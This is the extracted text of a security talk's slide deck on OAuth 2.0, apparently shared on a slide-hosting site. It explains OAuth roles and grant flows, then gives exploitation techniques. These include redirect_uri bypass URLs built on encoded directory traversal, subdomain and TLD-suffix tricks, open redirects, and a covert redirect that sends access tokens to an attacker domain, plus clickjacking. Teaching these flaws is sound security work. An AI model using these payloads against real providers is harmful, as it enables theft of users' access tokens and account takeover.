OAuth 2.0
Download as PPTX, PDF2 likes348 views
The document provides a comprehensive overview of the OAuth 2.0 authorization protocol, detailing its key roles such as the resource owner, client, and authorization server. It explains the mechanics of receiving grants, including different types of authorization flows like authorization and implicit grants, and addresses potential exploitation risks associated with OAuth implementations. Additionally, it highlights common vulnerabilities and attack vectors, such as open redirects and improper validation of redirect URIs.
OAuth 2.0
- 1. Click to edit Master title style 1 $whoami 1 MIHIR SHAH | SHAHENSHAH GitHub: www.github.com/shahenshah99
- 2. Click to edit Master title style 2 OAuth 2.0 Authorization protocol
- 3. Click to edit Master title style 3 Agenda for today • Introduction to the OAuth 2.0 model • Receiving grants • Exploiting OAuth 2.0
- 4. Click to edit Master title style 4 Oauth 2.0 roles 4
- 5. Click to edit Master title style 5 Resource owner The resource owner is simply the user that is interested in granting a registered OAuth application to access their account. The extent to which the user data can be accessed is defined by scope. Different scope results in different kinds of OAuth 2.0 permission dialogs. 5
- 6. Click to edit Master title style 6 Client In layman's terms, a client is simply an application registered to the provider (say Facebook/Google+) and is used by the third party (say Adobe) to access or manipulate a user's or resource owner's data . This concludes that a client is merely an application which allows the third party to request on behalf of the resource owner to the OAuth provider. 6
- 7. Click to edit Master title style 7 Authorization server An authorization server is capable of granting or denying a client an access token. The authorization server authenticates the resource and, generally through various interactions, issues an access token to the client if everything goes well. A resource server and authorization server are closely knit and when in the same web application, often referred to as an OAuth API. 7
- 8. Click to edit Master title style 8 Application The application or client must be registered on the OAuth provider's website. Once the registration is done, an application is assigned a unique identifier called the client ID 8
- 9. Click to edit Master title style 9 Redirect URI Every application must redirect to a pre - determined URI once the OAuth flow is complete. By default, the authorization server rejects redirect-URI mismatches between application configuration and the actual one provided. The redirect URI is a crucial component of the OAuth flow, and hijacking this can result in nasty outcomes, which we'll see in upcoming sections of this chapter. 9
- 10. Click to edit Master title style 10 Access Tokens An access token is a secret token allotted to the application and is tied to a particular user with specific permissions. The resource server expects an access token every time a request is made to it. 10
- 11. Click to edit Master title style 11 Client ID The client ID is a unique identifier that is returned when the application is registered successfully. It is not secret information and is crucial in the working of Oauth applications. Different Oauth implementations refer to the client ID differently, for example, Application ID. 11 Client ID provided by Facebook for a dummy Oauth application
- 12. Click to edit Master title style 12 Client Secret Client secret is a unique token generated during the registration process and is tied to the client ID. As the name suggests, a client secret is private information and shouldn't be exposed. It is used internally while generating access tokens 12
- 13. Click to edit Master title style 13 Receiving Grants OAuth 2.0 basically allows a third party website to access a limited or selective set of user information on a particular website. There are different kinds of authorization flows, two common ones of which are as follows: • Authorization grant • Implicit grant 13
- 14. Click to edit Master title style 14 Authorization Grants h t t p s : / / w w w. e x a m p l e . c o m / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = c o d e & c l i e n t _ i d = C L I E N T _ I D & r e d i r e c t _ u r i = C A L L B A C K _ U R L & s c o p e = r e a d 14 Let's break down the different components here: • response_type: When set to code, the OAuth authorization server expects the grant to be of authorization grant type. • client_id: This is the client ID/app ID of the application. • redirect_uri: This contains a URL in percent-encoded form, and after the initial flow is complete, the authorization server redirects the flow to the specified URL. • scope: This refers to the level of access needed; this is implementation specific and varies.
- 15. Click to edit Master title style 15 Following link for example https://www.example.com/oauth/authorize?client_id=2190698099&redire ct_uri=https%3A%2F%2Ffacebook.com%2Fredirect&response_type=co de&scope=read As soon as the user allows the permission, the page redirects to the following: https://facebook.com/redirect?code=af8SFAdas Here, we see the code parameter, which contains the authorization grant code generated by the authorization server. Now this can be exchanged for an access token; this is generally done server side and a client secret must be involved. Access Token = Auth Code + Client ID + Client Secret + Redirect URI 15
- 16. Click to edit Master title style 16 https://www.example.com/ /oauth/token?client_id=2190698099&client_ secret=adb12hge&grant_type=authorization_code&code=af8SFAdas&r edirect_uri= https%3A%2F%2Ffacebook.com%2Ftoken Now the token is returned to https://facebook.com/token in JSON format, such as the following: { "access_token":" EAACEdEose0cBAE3vD" } 16
- 17. Click to edit Master title style 17 Implicit Grants The i m pli c i t gra nt i s a c o m m o n wa y to a c c es s to kens i n web a nd mobi le appli cati ons. Thi s gra nt do es n't requi re a n endpo i nt o n the c li ent to c a ll s upply - a utho ri za ti on c o de a nd c li ent s ec ret to then rec ei ve the a c c es s to ken. The i m pli c i t gra nt li nk lo o ks li ke the fo llo wi ng: https :/ / www.ex a mple.co m /o auth/ autho ri ze?res pons e_ type= to ken&c li ent_ i d= CL IEN T_ ID&redi rect_ uri = CALLB ACK_URL &sc ope=rea d,wri te If the a utho ri za ti on i s c o m pleted s uc c es s fully then, https :/ / fa cebo o k.c om /token# access_to ken=EAACEdEo se0cBAE3vD So n o w the third party can co m m u n icate with the reso u rce server usin g the fo llo win g to ken . 17
- 18. Click to edit Master title style 18 EXPLOITING OAuth 2.0 18 Open redirect – the malformed URL Our exploit page is located at -> http://exploit.example.com/ we consider a trusted website to be -> http://trusted.com Directly giving the exploit link to the users won’t work but then sending a redirect from trusted.com might work, because the users trust that website. If the trusted.com site has an Oauth server running, then all you have to do is register at over there and get a client ID, set the redirect Uri as our exploit page -> exploit.example.com https://api.trusted.com/oauth2/authorization?response_ type=code&client_id=75e7i92lbwy4p4&scope=read&redirect_ uri=https%3A%2F%2Fexploit.example.com/
- 19. Click to edit Master title style 1919 Open redirect – the malformed URL Different providers have their own implementations of OAuth 2.0, this gives way to a scenario in which a malformed grant link (non-existent or garbage values for scope, client_id and so on) results in the server redirecting the user to the redirect_uri parameter which we set earlier, that is, the exploit page. Malformed value in scope: https://api.trusted.com/oauth2/authorization?response_ type=code&client_id=75e7i92lbwy4p4&scope=blahblahblah&re direct_uri=http://exploit.example.com/ Malformed value in client_id: https://api.trusted.com/oauth2/authorization?response_ type=code&client_id=idontexistbro&scope=read&redirect_uri= http://exploit.example.com/
- 20. Click to edit Master title style 20 Response: http://exploit.example.com/?error=invalid_scope&error_d escription=The+scope+of+%22blahblahblah%22+is+unknown %2E+Please+check+that+it%27s+property+spelled+and+a+va lid+value%2E#! But regardless of the error params, the page is still redirected. This is the beauty of this attack. This may not always work, it varies from implementation to implementation. The correct way to address this thing on the provider side is to show an error message on the provider domain (authorization server) itself rather than redirecting. This flaw was present in LinkedIn until last year.
- 21. Click to edit Master title style 21 Hijacking the OAuth flow – fiddling with redirect URI the inherent risks involved in using redirect_uri in a grant situation where it can be made to redirect to a different location than the one allowed, thereby hijacking the access tokens. The application is set to allow only redirect_uri = http://example.com/token/callback. Then we can use certain tricks to circumvent the checks and hijack the tokens to our (hijacker's) domain or file.
- 22. Click to edit Master title style 22 Directory traversal tricks Directory traversal tricks assume that we can save certain files of our choice under the allowed domain; this case is common in web applications which allow uploading of files The following are the URLs which can effectively bypass the validation if traversals are not considered: http://example.com/token/callback/../../our/path http://example.com/token/callback/.%0a./.%0d./our/path http://example.com/token/callback/%252e%252e/%252e%252e/our/path /our/path///../../http://example.com/token/callback/ http://example.com/token/callback/%2e%2e/%2e%2e/our/path
- 23. Click to edit Master title style 23 Domain tricks As mentioned earlier, if the allowed redirect_uri is http://example.com/token/callback , we use the following two set tricks related to domains.
- 24. Click to edit Master title style 24 Naked Domain This means the correct redirect_uri is a naked domain, that is, the subdomain is not specified. Some implementations allow subdomains when there is a case of naked domain. One such flaw was discovered in Facebook, which had one of its Oauth applications misconfigured in the MailChimp service. Example of bypasses if naked domain is specified: https://controlledsubdomain.example.com/token/call back https://www1.example.com/token/callback https://files.example.com/token/callback
- 25. Click to edit Master title style 25 TLD Suffix confusion We can bypass certain checks if a suitable top -level domain is specified. We can bypass the redirect_uri with a .com TLD by replacing it with a suffix such as .com.mx .com.br. Examples : Original Suffixed http://example.com/token/callback http://example.com.mx/token/callback http://example.org/token/callback http://example.org.in/token/callback The basic idea here is to just leave the domain asis so that the authorization servers validate it and append a valid suffixed TLD to bypass the check. This issue has been discovered in the OAuth implementation of Instagram and Slack. • Slack: https://hackerone.com/reports/2575
- 26. Click to edit Master title style 26 Flow hijack through open redirect on client Sometimes it's easy to find an open redirect on the client website (third party) and/or its subdomains which is allowed in the application configuration. We can exploit this in an implicit grant scenario where access tokens will be redirected to the attacker's domain through a 302 redirect. Redirect:http://www.example.com/exit/redirect.php?u=http:// w ww.google.com Exploit:redirect_uri=http ://www.example.com/exit/redirect.php ?u=http://exploit.com/token/callback The access tokens will now be passed to exploit.com/token/callback. This technique is widely known, and generally dubbed, as Covert Redirect.
- 27. Click to edit Master title style 27 Force a malicious app installation F o o l i n g t h e u s e r t o c l i c k o n t h e a l l o w b u t t o n w i t h o u t t h e m u n d e r s t a n d i n g i t . T h e r e b y g r a n t i n g u s a l l t h e p e r m i s s i o n s – c l i c k j a c k i n g . T h e o n l y i s s u e t h a t m i g h t b e f a c e d i s : T h e p a g e s h o u l d a l l o w X - F R A M E - O P T I O N S h e a d e r. i . e . t h e p a g e s h o u l d b e f r e e o f a n y f r a m e - b u s t i n g c o d e . Credits: http://www.bubblecode.net
- 28. Click to edit Master title style 2828 Links for more study on Oauth 2.0 https://techzone.ergon.ch/oauth-307Redirect-idpMixUp/ http://www.oauthsecurity.com/ http://homakov.blogspot.com/ http://isciurus.blogspot.com/ http://bubblecode.net/
- 29. Click to edit Master title style 29 Thank You